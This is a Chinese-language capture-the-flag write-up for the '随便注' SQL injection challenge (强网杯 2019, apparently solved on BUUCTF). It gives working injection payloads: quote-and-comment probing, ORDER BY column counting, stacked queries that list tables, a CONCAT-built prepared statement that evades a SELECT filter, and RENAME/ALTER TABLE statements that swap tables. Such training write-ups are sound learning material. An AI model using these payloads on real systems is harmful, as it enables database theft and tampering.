[强网杯 2019]随便注

这是BUUCTF上刷的第一道题，题目看是SQL注入

1.根据经验尝试有无常规注入

1.1 探测有无注入

1’  报错 
1’# 正常且为True
1’ and 1=1#  正常且为True
1’ and 1=2#  正常且为False

可以判断出：存在注入且参数使用单引号闭合

原因：当输入1’时，返回error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1，说明原本输入的参数在SQL检索语句中使用’ ’，现在输入的一个单引号闭合了原本搜索语句中左边单引号，剩余多出一个单引号，故报错；#符号为注释符号，注释掉右单引号，所以即使输入单引号也不会报错。

1.2 尝试获取列数

1’ order by 1# 
1’ order by 2# 
1’ order by 3# 报错

order by n，其中n表示第n栏，当表中只有2个栏位时,oder by 3就会出错，可以依据此方法判断出表中的列数为2。

1.3  尝试获取数据库名，用户等基本信息

尝试union查询：1' union select null,user() #

页面过滤了select、update、delete等搜索词，使用大小写、加注释等方法也无法避开。

2 堆叠注入

堆叠注入尝试：在sql语句中以;表示一个语句的结束，如果一个sql语句结束后再接着一个sql语句，就会执行这两条sql语句。

2.1 查询所有的表

1';show tables;#

得到1919810931114514和words两张表

2.2 查询表中的列

1';show columns from `1919810931114514`;show columns from `words`;#

得出1919810931114514表中有一列flag为目标，words表中有两列id和data

 SQL语句中出现反引号``，为了区分MYSQL的保留字与普通字符而引入的符号，数据库、表、索引、列和别名常用反引号。

 2.3 找到flag的几种方法

2.3.1 使用预处理语句+堆叠注入

 预处理流程

# 用于设置变量名和值
SET;
# 用于预备一个语句并赋予名称，以后可以引用该语句
PREPARE stmt_name FROM preparable_stmt;
#执行语句
EXECUTE stmt_name;
#用来释放掉预处理的语句
{DEALLOCATE | DROP} PREPARE stmt_name;

插入payload

-1’
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;

得到结果，set和prepare被拦截

 但是strstr函数对大小写敏感，尝试用大写绕过，得到最后结果

2.3.2 修改表名

当我们任意输入时，可以看到返回的结果总是两个值，而words表中对应的是id和data两列，1919810931114514对应的是一列flag，可以猜测原本题目中查询的是words表，而题目中过滤的不包括alter和rename，可以通过修改表名来得到flag

-1’
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
show columns from words;#
#修改表名  alter table 表名称1 rename to 表名称2；
#修改列名  alter table 表名称 change 字段名称 字段名称 字段类型 [是否允许非空];

使用1’ or 1=1#即可得到flag结果。